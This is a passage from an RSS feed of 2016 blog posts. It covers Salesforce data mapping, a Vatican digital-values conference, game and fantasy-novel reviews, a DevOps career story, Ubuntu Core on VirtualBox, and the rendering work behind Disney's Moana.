&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;We have in some ways a similar but different dichotomy with Accounts and Opportunities as we did Leads and Contacts. Though this one can often map a bit more cleanly than we saw with leads. From a &lt;a href="https://success.salesforce.com/answers?id=90630000000gnvcAAA"&gt;pretty straight forward definition&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Account - A business entity. Contacts work for Accounts.&lt;/li&gt;
&lt;li&gt;Opportunities - Sales events related to an Account and one or more Contacts.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This again can become problematic if you have no notion of Accounts at all in your system of record. Though if you are building a B2B application there is a good chance you may have something that makes sense. If you let uses free-form enter this instead of AT&amp;amp;T they may put &amp;ldquo;interactive team&amp;rdquo;, but you at least have some logical team that in their mind they roll up to.&lt;/p&gt;
&lt;p&gt;Opportunities is a much harder one in the SaaS world. In traditional marketing you have your standard stages of MQL (Marketing Qualified Lead), progressing to SQL (Sales Qualified Lead), etc. that you expect these potential customers to flow through. In the as-a-service world you may have people look from afar for weeks, then suddenly sign-up and give you a credit card and start paying within minutes. While there is still steps the customer may go through before buying you often have less insight into these. How you decide to structure your opportunities flow is entirely up to you. In my case I tend to opt to still have htem, but they&amp;rsquo;re an exception basis where a salesperson is actively engaged vs. the other 90%+ of fully self-service customers.&lt;/p&gt;
&lt;p&gt;Shifting back a little bit on accounts. The key with accounts is that if you have some notion of an team or org within your system of record then it makes sense to have that same structure setup in Salesforce. The most basic of this might be an idea of &amp;ldquo;Account owner&amp;rdquo; and &amp;ldquo;Team members&amp;rdquo;. You may have a person in there just for billing, an admin, and then users. Even if you don&amp;rsquo;t want to recreate the entire structure at least having all the contacts tied to the account is critical. I can&amp;rsquo;t count the number of times I&amp;rsquo;ve seen teams setup a &amp;ldquo;&lt;a href="mailto:billing@mycompany.com"&gt;billing@mycompany.com&lt;/a&gt;&amp;rdquo; email, seen people try to interact with that email when in reality they wanted to be talking to &amp;ldquo;&lt;a href="mailto:jane@mycompany.com"&gt;jane@mycompany.com&lt;/a&gt;&amp;rdquo; who logged in yesterday.&lt;/p&gt;
&lt;h3 id="in-summary"&gt;
&lt;div&gt;
In summary
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;For the most part Salesforce doesn&amp;rsquo;t quite let you map to what many of you&amp;rsquo;ll want to do in terms of mapping your data from your system of record to Salesforce. Expect to have to contort a bit and likely pump Salesforce with some garbage data. In general you&amp;rsquo;ll want to skip leads and go straight for contacts as contacts don&amp;rsquo;t require the same restrictions. Tying contacts to an account is the right level anyway, and from there up to you on how you&amp;rsquo;ll more manage the opportunities.&lt;/p&gt;
&lt;!-- raw HTML omitted --&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Wed, 23 Nov 2016 22:55:56 GMT</pubDate><guid isPermaLink="true">/2016/11/23/syncing-from-postgres-to-salesforce-part-1/</guid></item><item><title>Sword and Shield Pen</title><link>https://june.kim/sword-and-shield-pen/</link><author>june.kim</author><pubDate>Wed, 23 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/sword-and-shield-pen/</guid></item><item><title>Core values? Even software, file formats and servers transmit them</title><link>https://stop.zona-m.net/2016/11/core-values-even-software-file-formats-servers-transmit-them/</link><description>&lt;p&gt;On November 4th, 2016, I was invited to attend the Conference by the Pontifical Lateran University on &lt;a href="http://www.pul.it/it/eventi/core-values/"&gt;&amp;ldquo;Core Values - The Transmission of Values in Digital Age&amp;rdquo;.&lt;/a&gt;:&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 22 Nov 2016 10:00:55 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2016/11/core-values-even-software-file-formats-servers-transmit-them/</guid></item><item><title>Things I heard at the "Core Values" conference</title><link>https://stop.zona-m.net/2016/11/things-i-heard-at-the-core-values-conference/</link><description>&lt;p&gt;On November 4th, 2016, the Pontifical Lateran University held a conference on &lt;a href="http://www.pul.it/it/eventi/core-values/"&gt;“Core Values – The Transmission of Values in Digital Age”.&lt;/a&gt; Radio Vaticana already published an &lt;a href="http://en.radiovaticana.va/news/2016/11/04/lateran_univ_conference_explores_core_values_in_digital_age/1269997"&gt;official summary&lt;/a&gt; that explains how participants spent the day &amp;ldquo;posing hard questions to each other about the values that will best inform and sustain a coherent vision of integral human development in changing times&amp;rdquo; under the guide of Pope Francis' encyclical letter &lt;a href="http://w2.vatican.va/content/francesco/en/encyclicals/documents/papa-francesco_20150524_enciclica-laudato-si.html"&gt;Laudato si'&lt;/a&gt;&amp;quot;. This post, instead, is &lt;strong&gt;only&lt;/strong&gt; a selection of the &amp;ldquo;quotable quotes&amp;rdquo; (from my &lt;strong&gt;handwritten notes,&lt;/strong&gt; my apologies in advance for any error!) that I found most relevant, at least from the &lt;strong&gt;crucial&lt;/strong&gt; point of view that&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 22 Nov 2016 09:50:31 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2016/11/things-i-heard-at-the-core-values-conference/</guid></item><item><title>Cleaning up the Alamofire Interface</title><link>https://june.kim/cleaning-up-alamofire-interface/</link><author>june.kim</author><pubDate>Tue, 22 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/cleaning-up-alamofire-interface/</guid></item><item><title>Coordinators in practice</title><link>https://june.kim/coordinators-in-practice/</link><author>june.kim</author><pubDate>Tue, 22 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/coordinators-in-practice/</guid></item><item><title>Soma</title><link>https://bastibe.de/2016-11-22-soma.html</link><description>&lt;p&gt;For a long time, I was afraid of picking up Soma, since it came from the developers who did Amnesia. Amnesia was the first game that scared me so thoroughly that I just couldn't bring myself to pick it up again after the first session. I admired it for its amazing world design, interactivity, and story, but it was too scary for me. I don't enjoy being scared.&lt;/p&gt;
&lt;p&gt;I was thus of two minds when I heard about Soma: Soma was supposed to be less scary, and SciFi. But still, let me get this out of the way; This game scared me whitless. I had to use an online game guide to warn me of monsters and tell me how to evade them. I was too scared to figure this stuff out by myself, all alone in this creepy, nasty, underwater space station.&lt;/p&gt;
&lt;p&gt;But at the same time, this game delivered one of the best stories I have ever seen in a video game. The story left me shaken and thoughtful for days, and the story was what dragged me back into the game even though I was really struggling with the monster sections. Even the delivery through conversations, environmental clues, and audio logs, was truly outstanding. I just love grimy Alien-style SciFi, and this is one of the very few video game stories that could fill more than a paragraph or two in a well-written book. I love it.&lt;/p&gt;
&lt;p&gt;Apparently, if you like horror games, this is a very mild one. Boring even, if you can believe my favorite &lt;a href="https://www.youtube.com/watch?v=Y6BPcSYibco"&gt;online&lt;/a&gt; &lt;a href="https://www.youtube.com/watch?v=J4tbbcWqDyY"&gt;critics&lt;/a&gt;. But believe me, it was right on the edge of what I was able to take. I still can't quite decide whether I would have preferred this game without the monsters, or whether the monsters were a necessary tool for evoking this intense sense of dread on the lonely SciFi ocean floor. Maybe the monsters lent some much-needed life and interactivity to the walk-em-up formula.&lt;/p&gt;
&lt;p&gt;At any rate, I thoroughly enjoyed this experience, and can't wait for what this developer will create next. I wholeheartedly recommend this, as one of the best SciFi stories of this year, in any medium. ★★★★★&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Tue, 22 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2016-11-22-soma.html</guid></item><item><title>Nacidos de la Bruma I – El Imperio Final – Mistborn</title><link>https://danielpecos.com/2016/11/21/nacidos-en-la-bruma-i-el-imperio-final-mistborn/</link><description>&lt;p&gt;&lt;a href="https://www.amazon.es/Mistborn-Imperio-Final-Nueva-Edici%C3%B3n/dp/8466658890%3FSubscriptionId%3DAKIAJHGGVVP5D22LY7JQ%26tag%3Dbiblo-es-21%26linkCode%3Dxm2%26camp%3D2025%26creative%3D165953%26creativeASIN%3D8466658890"&gt;&lt;img alt="Mistborn - El Imperio Final" class="alignleft size-full" height="544" src="https://danielpecos.com/assets/2017/10/El-imperio-final.jpg" width="350" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Si lo que deseas es una trama absorbente, con una gran cantidad de misterio, situaciones fantásticas y personajes entrañables, &lt;strong&gt;El Imperio Final&lt;/strong&gt;, primer libro de la saga &lt;strong&gt;Nacidos de la Bruma – Mistborn&lt;/strong&gt; de Brandon Sanderson es estás buscando. Sin duda alguna es una historia que demuestra que aún es posible encontrar libros con un buen contenido literario y un tono oscuro, tan difícil de encontrar en la literatura fantástica desde hace mucho tiempo. Puede considerarse un digno sucesor de grandes libros épicos del estilo del Señor de los Anillos o Juego de Tronos, sin duda alguna, una joya que te recomiendo no perder.&lt;/p&gt;
&lt;p&gt;Dentro de &lt;strong&gt;Nacidos de la Bruma – El Imperio Final&lt;/strong&gt;, Brandon Sanderson nos introduce en un mundo muy diferente al habitual y especialmente sombrío en el cual nada florece y las cenizas son constantes, los ciudadanos se encuentran oprimidos por un tirano conocido como el Lord Legislador, que junto sus asociados, la iglesia y la clase alta, controlan el metal más preciado de la &lt;em&gt;alomancia&lt;/em&gt;: el &lt;em&gt;Atium&lt;/em&gt;, extraído lenta y dolorosamente de los &lt;em&gt;Pozos de Hathsin&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Los &lt;em&gt;skaa&lt;/em&gt;, la clase obrera controlada y explotada por los nobles, son el motivo por el cual los protagonistas, Kelsier y Vin, pelearán contra los tiranos para conseguir que se les libere de su tormento. Ambos &lt;em&gt;nacidos de la sombra&lt;/em&gt;, reunirán un grupo de &lt;em&gt;alómanticos&lt;/em&gt; que les ayudarán a conseguir sus objetivos.&lt;/p&gt;
&lt;p&gt;En &lt;strong&gt;Nacidos de la Bruma – El Imperio Final&lt;/strong&gt; nos encontramos con una historia llena de acción repleta de personajes que van evolucionando a lo largo de la misma, donde es posible observar traición, amor, duda, proezas épicas, y supervivencia todo con tal de lograr liberarse del yugo por el cual se encuentran oprimidos los &lt;em&gt;skaa&lt;/em&gt;, con un desenlace trepidante y que hará que saltes a por la segunda parte de esta magnífica saga.&lt;/p&gt;
&lt;noscript&gt;
&lt;/noscript&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Mon, 21 Nov 2016 08:00:30 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2016/11/21/nacidos-en-la-bruma-i-el-imperio-final-mistborn/</guid></item><item><title>Should you store your form state in Redux?</title><link>https://goshacmd.com/should-i-put-form-state-into-redux/</link><author>Gosha Spark</author><pubDate>Mon, 21 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/should-i-put-form-state-into-redux/</guid></item><item><title>Ubuntu Core on VirtualBox</title><link>https://kyrofa.com/posts/ubuntu-core-on-virtualbox/</link><description>If you read the official Ubuntu Core docs, you&amp;rsquo;ll see that the recommended way to run Ubuntu Core virtually is with KVM. However, it&amp;rsquo;s probably even easier to use it in VirtualBox, and I&amp;rsquo;ve been getting some questions about that, so I wanted to devote a quick post to it.
Prerequisites:
 A Linux machine (using Ubuntu 16.04 here). This guide will work on Windows as well, but the command invocations are a bit different and I don&amp;rsquo;t have a machine on which I can verify them before suggesting them.</description><author>kyrofa's blog</author><pubDate>Mon, 21 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://kyrofa.com/posts/ubuntu-core-on-virtualbox/</guid></item><item><title>How to Buy Expensive Software Part 1: Vendors &amp;amp; Demos</title><link>http://blog.untrod.com/2016/11/negotiate-and-buy-saas-software-part-1-picking-a-vendor.html</link><description>&lt;p&gt;Some days it seems like all I'm good for is buying other companies'
software.&lt;/p&gt;
&lt;p&gt;It's a little ridiculous. I get 5-10 emails a day pitching some SaaS
solution. You probably get them too. Recognize any of these subject
lines?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Christopher, do you have 15 minutes to connect about my previous …&lt;/em&gt;&lt;/li&gt;&lt;/ul&gt;</description><author>Untrod</author><pubDate>Sun, 20 Nov 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">http://blog.untrod.com/2016/11/negotiate-and-buy-saas-software-part-1-picking-a-vendor.html</guid></item><item><title>Links - November 20, 2016</title><link>https://faingezicht.com/links/2016/11/20/links/</link><description>I am actively trying to de-emphasize content about Trump, and the election, but it is tough. Expect to find traces and parallels to these themes for the next few months.</description><author>Avy Faingezicht</author><pubDate>Sun, 20 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/11/20/links/</guid></item><item><title>From Developer to DevOps: My Story</title><link>https://benovermyer.com/blog/2016/11/from-developer-to-devops-my-story/</link><description>&lt;p&gt;In late 2014, the sole system administrator for the Star Tribune Digital department (let's call him John) turned in his two-weeks' notice. Thus began a panic as we realized we had no idea how our infrastructure worked. At the time, I was one of two senior software engineers there. I was in the middle of a large refactoring project for the mobile website. John had, thankfully, kept up an internal wiki that at least roughly documented how some of the legacy infrastructure worked. The new infra on AWS was very new and very undocumented, but at least we had a place to start. John's disciple, an eager but more junior developer who had originated as a copy-editor, did what he could to absorb as much knowledge as he could from John before he left. But his heart just wasn't in operations, and he didn't want to fall on that sword.&lt;/p&gt;
&lt;p&gt;In a one-on-one with my boss, we talked about the dilemma facing us. I mentioned that I had some experience with Linux in production environments. He gently suggested that I take on the system administration role, at least until they could hire someone to replace John. I blanched, knowing enough to know that I knew little about the world of operations. I was reluctant, but in the end he convinced me to at least try and hold down the fort until help arrived. I set the condition that I be immediately removed from all development projects I was assigned to. My boss agreed. At this point, we were about six months from launch of a scratch-built web platform that would replace our proprietary hosted CMS. None of the developers had experience in operational concerns at that scale, including myself. John had written some Chef cookbooks to provision the few things living on the new infrastructure, but only an outside contractor brought in to help in the interim with operations actually knew Chef. We struggled for a short period of time to maintain it. I learned enough of Ruby and Chef to get by, but it was always a battle to get the tool to do what I expected whenever I needed to do something slightly different from the existing process.&lt;/p&gt;
&lt;p&gt;I forget who originally suggested it, but we started to switch our orchestration code to Ansible. Ansible was far easier for me to wrap my head around, and at a time when I needed to learn as much as possible as fast as possible, that was a lifesaver. At this point, I'd been “the operations guy” for about a month. The hiring ad for a “devops engineer” had been open for a month and a half. We had had only a few interested parties, and none of them were anything close to what we needed. I saw the writing on the wall, and asked my boss for a meeting. I told him I was willing to permanently become the operations engineer for the team. His relief was obvious. Shortly after that, the engineer opening changed from operations to developer, and within a short space of time we had an awesome new junior developer on the team. Meanwhile, I dove headlong into the world of system administration and operations. No longer held back by my own thought of “this is only temporary,” I devoured anything and everything I could find on the subject of what Google would later call Site Reliability Engineering.&lt;/p&gt;
&lt;p&gt;After a couple short months, all of the Chef code was gone, a lot of our infrastructure had been deployed onto AWS, and we had hired a junior operations engineer to help out. Our on-call rotation was still a manually-maintained forwarded phone line, though, and fighting fires was always a panic moment… since usually, it was a problem that had been happening for hours, and we didn't even know about it until someone from the news floor informed us. But that's a story for another time. It was the launch of our web platform that completely changed operations for us, and for me. In early May 2015, the new website launched. And immediately crashed. And stayed down. We reverted to the old CMS. The next ten days saw both development and operations working feverishly to try and figure out what had gone wrong and how to fix it.&lt;/p&gt;
&lt;p&gt;We switched from using a clever-but-misleading traffic simulation to using a tool called &lt;a href="https://www.joedog.org/siege-home/" rel="external"&gt;siege&lt;/a&gt; to do load testing, and finally got to a point where we thought we could keep the new site online. At 3:00 AM ten days after the first attempt, the new platform went online again and stayed online. For the next three hours, the launch team (including myself as the sole operations engineer on the team) built and deployed multiple iterations of the new site, and finally at six in the morning, we all left the office. I greeted the post-launch engineering team as we passed each other in the office entrance. After a couple hours' sleep in a downtown hotel, the launch team returned to the office to assess the situation and help out with any problems that might have occurred.&lt;/p&gt;
&lt;p&gt;Let me be clear. When I was a developer, I pulled my share of sixteen-hour days to meet deadlines. But I never before this launch had experienced a shift this long or this rewarding. Before then, I had never cheered and exchanged high fives with the team as we saw the site working as expected in the wee hours of the morning. At this point, I was invested in operations. It had acquired my interest and not just my attention.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Sun, 20 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2016/11/from-developer-to-devops-my-story/</guid></item><item><title>Photography &amp;amp; Journalism with Darcy Padilla &amp;amp; Julian Cox - Opening Remarks</title><link>http://blog.untrod.com/2016/11/photography-journalism-remarks-darcy-padilla-danny-lyon-julian-cox.html</link><description>&lt;p&gt;On November 17th, I chaired an event at the de Young Museum related to
the opening of the exhibit
&lt;a href="https://deyoung.famsf.org/exhibitions/danny-lyon-message-future"&gt;Danny Lyon: Message to the Future&lt;/a&gt;. It's
there through April 30th, 2017 and I encourage anyone in San Francisco
during its run to see it. Danny Lyon is a remarkable photographer …&lt;/p&gt;</description><author>Untrod</author><pubDate>Sat, 19 Nov 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">http://blog.untrod.com/2016/11/photography-journalism-remarks-darcy-padilla-danny-lyon-julian-cox.html</guid></item><item><title>Fantastic Beasts and Where to Find Them</title><link>https://olshansky.info/movie/fantastic_beasts_and_where_to_find_them/</link><description>Olshansky's review of Fantastic Beasts and Where to Find Them</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 18 Nov 2016 13:59:34 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/fantastic_beasts_and_where_to_find_them/</guid></item><item><title>About</title><link>https://joshuarogers.net/about/</link><description>I'm a guy from northern Alabama. I write software, and I've spoken at a conference or two.
I wrote a package manager for Drupal 6 that was used on 3,300+ servers. There are a few other bits of code floating around out there as well. Most of it is open source.
Below is a list of contributions I've made. Some of these patches are exclusively my code, but by nature open source is collaberative.</description><author>Joshua Rogers</author><pubDate>Thu, 17 Nov 2016 14:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/about/</guid></item><item><title>Rick and Morty: Season 1</title><link>https://olshansky.info/tv/rick_and_morty_season_1/</link><description>Olshansky's review of Rick and Morty: Season 1</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 17 Nov 2016 13:00:15 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/rick_and_morty_season_1/</guid></item><item><title>Elantris</title><link>https://danielpecos.com/2016/11/17/elantris/</link><description>&lt;p&gt;&lt;a href="https://www.amazon.es/Elantris-NB-NOVA-Brandon-Sanderson/dp/846665884X%3FSubscriptionId%3DAKIAJHGGVVP5D22LY7JQ%26tag%3Dbiblo-es-21%26linkCode%3Dxm2%26camp%3D2025%26creative%3D165953%26creativeASIN%3D846665884X"&gt;&lt;img alt="Elantris" class="alignleft size-full" height="538" src="https://danielpecos.com/assets/2017/10/Elantris.jpg" width="350" /&gt;&lt;/a&gt;La ciudad de los dioses ya no es un lugar con seres de grandes poderes y magia, es ahora un lugar en ruinas llena de &lt;em&gt;no muertos&lt;/em&gt; que sufren incansablemente por un hambre sobrehumana, dolores que nunca sanan y un corazón que no late. &lt;strong&gt;Elantris&lt;/strong&gt; de Brandon Sanderson es la ciudad donde una misteriosa desgracia cambió todo, sus habitantes se transformaron y después de ser unas maravillas, son ahora seres malditos. Esta novela llena de fantasía y acción presenta la historia de tres personajes, el príncipe Raoden (quién sufrió la transformación), la princesa Sarene y el sacerdote Hrathenun.&lt;/p&gt;
&lt;h3 id="elantris-el-lugar-de-los-dioses-ahora-es-la-tierra-de-los-no-vivos"&gt;Elantris el lugar de los dioses ahora es la tierra de los “no vivos”&lt;/h3&gt;
&lt;p&gt;Existe una magia en Elantris de Brandon Sanderson, quizás los &lt;em&gt;Aones&lt;/em&gt; están relacionados con la catástrofe que cambió el curso del reino de &lt;em&gt;Arelon&lt;/em&gt;. La población aún no asume el cambio tan grande que ocurrió en su tierra, cuál fue la causa de tanta desesperanza y sufrimiento.&lt;/p&gt;
&lt;p&gt;Mucho sufrimiento para los &lt;em&gt;No vivos&lt;/em&gt;, la aristocracia tiene un poder que sobrepasa los derechos de los ciudadanos, la anarquía y el hambre inacabable predominan en la lucha de los habitantes. &lt;strong&gt;Elantris&lt;/strong&gt; de Brandon Sanderson muestra la intención de la religión para conquistar el poder absoluto, el sacerdote Hrathenun utiliza artimañas para hacer que la corrupción, los vicios e intereses personales perturben el amor de los príncipes para dominar el reino a través de su secta.&lt;/p&gt;
&lt;p&gt;En Elantris el príncipe Raoden luego de ser el heredero del reino, sufre el mal de &lt;em&gt;Shaod&lt;/em&gt; provocando su exilio en la tierra de los &lt;em&gt;no muertos&lt;/em&gt;, al parecer la transformación no es por completo, poco a poco va sintiendo que se apodera de sus sentidos, inicia una guerra interna con sus recuerdos y el presente.&lt;/p&gt;
&lt;h3 id="el-amor-de-sarene-y-raoden-los-príncipes-de-elantris"&gt;El amor de Sarene y Raoden los príncipes de “Elantris”&lt;/h3&gt;
&lt;p&gt;La energía que mantiene viva a la ciudad representa un factor importante en la vida de Raoden, quien a lo largo de la historia analiza y trata de comprender la finalidad de los &lt;em&gt;Aones&lt;/em&gt; en la vida de los Elantrinos. El pretexto recibir a los &lt;em&gt;no muertos&lt;/em&gt; como maravillas logró que los trasladaran, al llegar a la ciudadela la realidad es otra, son encarcelados, obligados a una vida sin final y tomados como no vivos por los que no han sido afectados por el &lt;em&gt;Shaod&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Sarene, la novia política de Roaden, tiene el dilema de amar y respetar a su príncipe muerto o seguir las recomendaciones del sacerdote Hrath, casarse con otro hombre. Esta elección altera rápidamente el curso del amor y amenaza con el destino de los habitantes de Arelon. El reino se ve amenazado por la decisión que tome la princesa, casarse nuevamente o no.&lt;/p&gt;
&lt;p&gt;Una trama que mantiene el misterio de principio a fin, situaciones llenas de controversia en un régimen político amenazado por una desgracia, el interés religioso, el amor inalcanzable entre los príncipes, la búsqueda del significado de los &lt;em&gt;Aones&lt;/em&gt; y la trasformación de Raoden hacen de &lt;strong&gt;Elantris&lt;/strong&gt; de Brandon Sanderson una revolucionaria novela de ficción, fantasía y amor.&lt;/p&gt;
&lt;noscript&gt;
&lt;/noscript&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Thu, 17 Nov 2016 08:05:58 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2016/11/17/elantris/</guid></item><item><title>Moana</title><link>https://blog.yiningkarlli.com/2016/11/moana.html</link><description>&lt;div style="display: none;"&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2 id="table-of-contents"&gt;Table of Contents&lt;/h2&gt;

&lt;div class="tableofcontents"&gt;
    &lt;div class="tableofcontents-row"&gt;
        &lt;div class="tableofcontents-column3"&gt;
            &lt;div class="tableofcontents-content"&gt;
                1. &lt;a href="/2016/11/moana.html#2016-11-17-work"&gt;Making Moana&lt;/a&gt;&lt;br /&gt;
                2. &lt;a href="/2016/11/moana.html#2016-11-17-frames"&gt;Frames from the Film&lt;/a&gt;&lt;br /&gt;
                3. &lt;a href="/2016/11/moana.html#2016-11-17-addenda"&gt;Addenda&lt;/a&gt;&lt;br /&gt;
                4. &lt;a href="/2016/11/moana.html#2016-11-17-references"&gt;References&lt;/a&gt;&lt;br /&gt;
            &lt;/div&gt;
        &lt;/div&gt;
        &lt;div class="tableofcontents-column3"&gt;
        &lt;/div&gt;
        &lt;div class="tableofcontents-column3"&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;div id="2016-11-17-work"&gt;&lt;/div&gt;

&lt;p&gt;2016 is the first year ever that &lt;a href="http://www.disneyanimation.com/"&gt;Walt Disney Animation Studios&lt;/a&gt; is releasing two CG animated films. We released &lt;a href="http://www.disneyanimation.com/projects/moanaopia"&gt;&lt;em&gt;Zootopia&lt;/em&gt;&lt;/a&gt; back in March, and next week, we will be releasing our newest film, &lt;a href="http://www.disneyanimation.com/projects/moana"&gt;&lt;em&gt;Moana&lt;/em&gt;&lt;/a&gt;. I’ve spent the bulk of the last year and a half working as part of Disney’s &lt;a href="http://www.disneyanimation.com/technology/innovations/hyperion"&gt;Hyperion Renderer&lt;/a&gt; team on a long list of improvements and new features for &lt;em&gt;Moana&lt;/em&gt;. &lt;em&gt;Moana&lt;/em&gt; is the first film I have an official credit on, and I couldn’t be more excited for the world to see what we have made!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_01.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Nov/WAKA_01.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We’re all incredibly proud of &lt;em&gt;Moana&lt;/em&gt;; the story is fantastic, the characters are fresh and deep and incredibly appealing, and the music is an instant classic. Most important for a rendering guy though, I think &lt;em&gt;Moana&lt;/em&gt; is flat out the best looking animated film anyone has ever made. Every single department on this film really outdid themselves. The technology that we had to develop for this film was staggering; we have a whole new distributed fluid simulation package for the endless oceans in the film, we added advanced new lighting capabilities to Hyperion that have never been used in an animated film before to this extent (to the best of my knowledge), we made huge advances in our animation technology for characters such as Maui; the list goes on and on and on. Something like over 85% of the shots in this movie have significant FX work in them, which is unheard of for animated features.&lt;/p&gt;

&lt;p&gt;Hyperion gained a number of major new capabilities in support of making &lt;em&gt;Moana&lt;/em&gt;.
Rendering the ocean was a major concern on &lt;em&gt;Moana&lt;/em&gt;, so much of Hyperion’s development during &lt;em&gt;Moana&lt;/em&gt; revolved around features related to rendering water.
Our lighters wanted caustics in all shots with shallow water, such as shots set at the beach or near the shoreline; faking caustics was quickly ruled out as an option since setting up lighting rigs with fake caustics that looked plausible and visually pleasing proved to be difficult and laborious.
We found that providing real caustics was vastly preferable to faking things, both from a visual quality standpoint and a artist workflow standpoint, so we wound up adding a photon mapping system to Hyperion.
The design of the photon mapping system is highly optimized around handling sun-water caustics, which allows for some major performance optimizations, such as an adaptive photon distribution system that makes sure that photons are not wasted on off-camera parts of the scene.
Most of the photon mapping system was written by Peter Kutz; I also got to work on the photon mapping system a bit.&lt;/p&gt;

&lt;p&gt;Water is in almost every shot in the film in some form, and the number of water effects was extremely varied, ranging from the ocean surface going out for dozens of miles in every direction, to splashes and boat wakes &lt;a href="https://dl.acm.org/citation.cfm?id=3073597"&gt;[Stomakhin and Selle 2017]&lt;/a&gt; and other finely detailed effects.
Water had to be created using a host of different techniques, from relatively simple procedural wave functions &lt;a href="https://dl.acm.org/citation.cfm?id=3005379"&gt;[Garcia et al. 2016]&lt;/a&gt;, to hand-animatable rigged wave systems &lt;a href="https://dl.acm.org/citation.cfm?doid=3084363.3085056"&gt;[Byun and Stomakhin 2017]&lt;/a&gt;, all the way to huge complex fluid simulations using Splash, a custom in-house APIC-based fluid simulator &lt;a href="https://dl.acm.org/citation.cfm?id=2766996"&gt;[Jiang et al. 2015]&lt;/a&gt;.
We even had to support water as a straight up rigged character &lt;a href="https://dl.acm.org/citation.cfm?id=3085091"&gt;[Frost et al. 2017]&lt;/a&gt;!
In order to bring the results of all of these techniques together into a single renderable water surface, an enormous amount of effort was put into building a level-set compositing system, in which all water simulation results would be converted into signed distance fields that could then be combined and converted into a watertight mesh.
Having a single watertight mesh was important, since the ocean often also contained a homogeneous volume to produce physically correct scattering.
This is where all of the blues and the greens in ocean water come from.
This entire system could be run by Hyperion at rendertime, or could be run offline beforehand to generate a cached result that Hyperion could load; a whole complex pipeline had to be build to support this capability &lt;a href="https://dl.acm.org/citation.cfm?id=3085067"&gt;[Palmer et al. 2017]&lt;/a&gt;.
Building this level-set compositing and meshing system involved a large number of TDs and engineers; on the Hyperion side, this project was led by Ralf Habel, Patrick Kelly, and Andy Selle.
Peter and I also helped out at various points.&lt;/p&gt;

&lt;p&gt;At one point early on the film’s production, we noticed that our lighters were having a difficult time getting specular glints off of the ocean surface to look right.
For artistic controllability reasons, our lighters prefer to keep the sun and the skydome as two separate lights; the skydome is usually an image-based light that is either painted or is from photography with the sun painted out, and the sun is usually a distant infinite light that subtends some sold angle.
After a lot of testing, we found that the look of specular glints on the ocean surface comes partially from the sun itself, but also partially from the atmospheric scattering that makes the sun look hazy and larger in the sky than it actually is.
To get this look, I added a system to analytically add a Mie-scattering halo around our distant lights; we called the result the “halo light”.&lt;/p&gt;

&lt;p&gt;Up until &lt;em&gt;Moana&lt;/em&gt;, Hyperion actually never had proper importance sampling for emissive meshes; we just relied on paths randomly finding their way to emissive meshes and only worried about importance sampling analytical area lights and distant infinite lights.
For shots with the big lava monster Te-Ka &lt;a href="https://dl.acm.org/citation.cfm?id=3085076"&gt;[Bryant et al. 2017]&lt;/a&gt;, however, most of the light in the frame came from emissive lava meshes, and most of what was being lit were complex, dense smoke volumes.
Peter added a highly efficient system for importance sampling emissive meshes into the renderer, which made Te-Ka shots go from basically un-renderable to not a problem at all.
David Adler also made some huge improvements to our denoiser’s ability to handle volumes to help with those shots.&lt;/p&gt;

&lt;p&gt;Hyperion also saw a huge number of other improvements during &lt;em&gt;Moana&lt;/em&gt;; Dan Teece and Matt Chiang made numerous improvements to the shading system, I reworked the ribbon curve intersection system to robustly handle Heihei’s and hawk-Maui’s feathers, Greg Nichols made our camera-adaptive tessellation more robust, and the team in general made many speed and memory optimizations.
Throughout the whole production cycle, Hyperion partnered really closely with production to make &lt;em&gt;Moana&lt;/em&gt; the most beautiful animated film we’ve ever made.
This close partnership is what makes working at Disney Animation such an amazing, fun, and interesting experience.&lt;/p&gt;

